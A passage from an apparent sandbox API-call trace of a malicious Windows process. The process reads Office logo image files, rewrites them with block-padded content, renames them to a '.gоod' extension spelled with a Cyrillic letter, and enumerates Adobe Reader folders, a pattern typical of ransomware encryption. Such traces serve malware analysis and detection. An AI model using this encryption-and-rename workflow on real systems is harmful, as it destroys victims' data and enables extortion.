lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0273.638] GetFileType (hFile=0x8a0) returned 0x1 [0273.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0273.638] GetFileType (hFile=0x8a0) returned 0x1 [0273.638] WriteFile (in: hFile=0x8a0, lpBuffer=0x38953f8*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38953f8*, lpNumberOfBytesWritten=0x1fcee148*=0x7f0, lpOverlapped=0x0) returned 1 [0273.639] CloseHandle (hObject=0x8a0) returned 1 [0273.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0273.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6d [0273.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0273.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f509437, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0273.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0273.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0273.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0273.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0273.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3896760 | out: lpFileInformation=0x3896760*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf)) returned 1 [0273.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0273.641] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0273.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0273.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0273.641] GetFileType (hFile=0x8a0) returned 0x1 [0273.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0273.641] GetFileType (hFile=0x8a0) returned 0x1 [0273.641] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8cf [0273.641] ReadFile (in: hFile=0x8a0, lpBuffer=0x38973e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38973e8*, lpNumberOfBytesRead=0x1fcee238*=0x8cf, lpOverlapped=0x0) returned 1 [0274.069] CloseHandle (hObject=0x8a0) returned 1 [0274.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0274.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0274.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0274.082] GetFileType (hFile=0x8a0) returned 0x1 [0274.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0274.082] GetFileType (hFile=0x8a0) returned 0x1 [0274.083] WriteFile (in: hFile=0x8a0, lpBuffer=0x399ec38*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x399ec38*, lpNumberOfBytesWritten=0x1fcee148*=0x8d0, lpOverlapped=0x0) returned 1 [0274.083] CloseHandle (hObject=0x8a0) returned 1 [0274.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0274.084] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6d [0274.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0274.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f935890, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8d0)) returned 1 [0274.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0274.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0274.085] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0274.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0274.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x399ffa0 | out: lpFileInformation=0x399ffa0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe3)) returned 1 [0274.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0274.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0274.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0274.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0274.086] GetFileType (hFile=0x8a0) returned 0x1 [0274.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0274.086] GetFileType (hFile=0x8a0) returned 0x1 [0274.086] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xbe3 [0274.086] ReadFile (in: hFile=0x8a0, lpBuffer=0x39a0f40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39a0f40*, lpNumberOfBytesRead=0x1fcee238*=0xbe3, lpOverlapped=0x0) returned 1 [0274.088] CloseHandle (hObject=0x8a0) returned 1 [0274.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0274.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0274.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0274.101] GetFileType (hFile=0x8a0) returned 0x1 [0274.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0274.101] GetFileType (hFile=0x8a0) returned 0x1 [0274.101] WriteFile (in: hFile=0x8a0, lpBuffer=0x3a1c528*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3a1c528*, lpNumberOfBytesWritten=0x1fcee148*=0xbf0, lpOverlapped=0x0) returned 1 [0274.102] CloseHandle (hObject=0x8a0) returned 1 [0274.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0274.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6d [0274.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0274.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9f981c82, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbf0)) returned 1 [0274.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0274.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0274.103] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x67 [0274.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0274.103] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3a1d890 | out: lpFileInformation=0x3a1d890*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cb)) returned 1 [0274.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0274.103] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x67 [0274.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0274.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0274.104] GetFileType (hFile=0x8a0) returned 0x1 [0274.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0274.104] GetFileType (hFile=0x8a0) returned 0x1 [0274.104] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x6cb [0274.104] ReadFile (hFile=0x8a0, lpBuffer=0x3a1e308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0) Thread: id = 164 os_tid = 0xe0 [0095.952] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0096.045] CoGetContextToken (in: pToken=0x1fdef3d0 | out: pToken=0x1fdef3d0) returned 0x0 [0096.045] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1fdef408 | out: ppvObject=0x1fdef408*=0x12e64e8) returned 0x0 [0096.045] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1fdef478 | out: pThreadType=0x1fdef478*=0) returned 0x0 [0096.045] IUnknown:Release (This=0x12e64e8) returned 0x0 [0096.045] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0096.045] CoUninitialize () [0096.045] RoInitialize () returned 0x1 [0096.045] RoUninitialize () returned 0x0 [0096.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdee540) returned 1 [0096.046] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources", nBufferLength=0x105, lpBuffer=0x1fdedfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources", lpFilePart=0x0) returned 0x42 [0096.046] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*", lpFindFileData=0x1fdee260 | out: lpFindFileData=0x1fdee260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83830 [0096.047] FindNextFileW (in: hFindFile=0x1ec83830, lpFindFileData=0x1fdee220 | out: lpFindFileData=0x1fdee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.047] FindNextFileW (in: hFindFile=0x1ec83830, lpFindFileData=0x1fdee220 | out: lpFindFileData=0x1fdee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 1 [0096.047] FindNextFileW (in: hFindFile=0x1ec83830, lpFindFileData=0x1fdee220 | out: lpFindFileData=0x1fdee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0 [0096.047] FindClose (in: hFindFile=0x1ec83830 | out: hFindFile=0x1ec83830) returned 1 [0096.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdee480) returned 1 [0096.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdee440) returned 1 [0096.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdee540) returned 1 [0096.047] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources", nBufferLength=0x105, lpBuffer=0x1fdedfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources", lpFilePart=0x0) returned 0x42 [0096.047] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*", lpFindFileData=0x1fdee260 | out: lpFindFileData=0x1fdee260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83770 [0096.048] FindNextFileW (in: hFindFile=0x1ec83770, lpFindFileData=0x1fdee220 | out: lpFindFileData=0x1fdee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.048] FindNextFileW (in: hFindFile=0x1ec83770, lpFindFileData=0x1fdee220 | out: lpFindFileData=0x1fdee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 1 [0096.048] FindNextFileW (in: hFindFile=0x1ec83770, lpFindFileData=0x1fdee220 | out: lpFindFileData=0x1fdee220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.048] FindClose (in: hFindFile=0x1ec83770 | out: hFindFile=0x1ec83770) returned 1 [0096.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdee480) returned 1 [0096.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdee440) returned 1 [0096.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdedb10) returned 1 [0096.048] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0", nBufferLength=0x105, lpBuffer=0x1fded5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0", lpFilePart=0x0) returned 0x4c [0096.049] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\*", lpFindFileData=0x1fded830 | out: lpFindFileData=0x1fded830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83470 [0096.051] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.051] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, 